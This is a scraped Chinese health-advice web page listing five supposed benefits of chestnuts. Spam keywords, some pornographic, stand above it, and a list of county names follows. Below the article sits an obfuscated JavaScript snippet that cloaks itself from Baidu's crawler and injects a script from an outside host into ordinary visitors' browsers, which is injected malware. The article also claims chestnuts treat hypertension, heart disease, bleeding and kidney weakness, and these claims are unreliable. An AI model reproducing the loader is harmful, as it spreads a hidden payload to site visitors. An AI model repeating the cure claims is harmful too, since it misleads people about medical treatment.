亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

栗子的五大營養(yǎng)價值盤點!

2017-07-24 00:03:31  來源:360常識網   熱度:
導語:栗子是常見的一種食物之一,可以生吃,也可以煮著這吃,對我們的身體健康也有很大的幫助。不管是益氣補脾還是強筋健骨預防衰老,栗子都可以

栗子是常見的一種食物之一,可以生吃,也可以煮著這吃,對我們的身體健康也有很大的幫助。不管是益氣補脾還是強筋健骨預防衰老,栗子都可以起到很好地保健效果。下面我們就去看看栗子的營養(yǎng)價值。

1、益氣補脾,健胃厚腸 栗子是碳水化合物含量較高的干果品種,能供給人體較多的熱能,并能幫助脂肪代謝。保證機體基本營養(yǎng)物質供應,有“鐵桿莊稼”、“木本糧食”之稱,具有益氣健脾,厚補胃腸的作用。

2、防治心血管疾病 栗子中含有豐富的不飽和脂肪酸、多種維生素和礦物質,可有效地預防和治療高血壓、冠心病、動脈硬化等心血管疾病,有益于人體健康。

3、強筋健骨,延緩衰老 栗子含有豐富的維生素C,能夠維持牙齒、骨骼、血管肌肉的正常功用,可以預防和治療骨質疏松,腰腿酸軟,筋骨疼痛、乏力等,延緩人體衰老,是老年人理想的保健果品。

4、栗子生吃,每日5至8顆,適宜于吐血、便血者。

5、早晚生食栗子2顆,對老年腎虧、小便頻繁有益。用10顆栗子和豬腎、薏仁、大米熬煮成粥,可治療由一般腎虛引起的腰腿無力。

以上就是關于栗子的幾大營養(yǎng)價值介紹,大家知道了嗎?看似普通的栗子如果你知道怎樣吃的話,就可以把它的功效全面的發(fā)揮出來。但是栗子吃多了同樣也會產生一些不良的影響,所以為了健康飲食,我們還是要講究一個適度的原則。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
广宁县| 康定县| 建水县| 塘沽区| 监利县| 绍兴县| 阿坝县| 新邵县| 郁南县| 营口市| 墨竹工卡县| 依兰县| 瑞丽市| 九台市| 沙田区| 尤溪县| 南郑县| 佳木斯市| 永德县| 三门县| 自贡市| 遵化市| 巩义市| 天全县| 中西区| 抚宁县| 平陆县| 莱西市| 类乌齐县| 砀山县| 曲阳县| 莆田市| 偃师市| 尉氏县| 崇阳县| 渝北区| 鲁甸县| 汉阴县| 通渭县| 同心县| 定西市|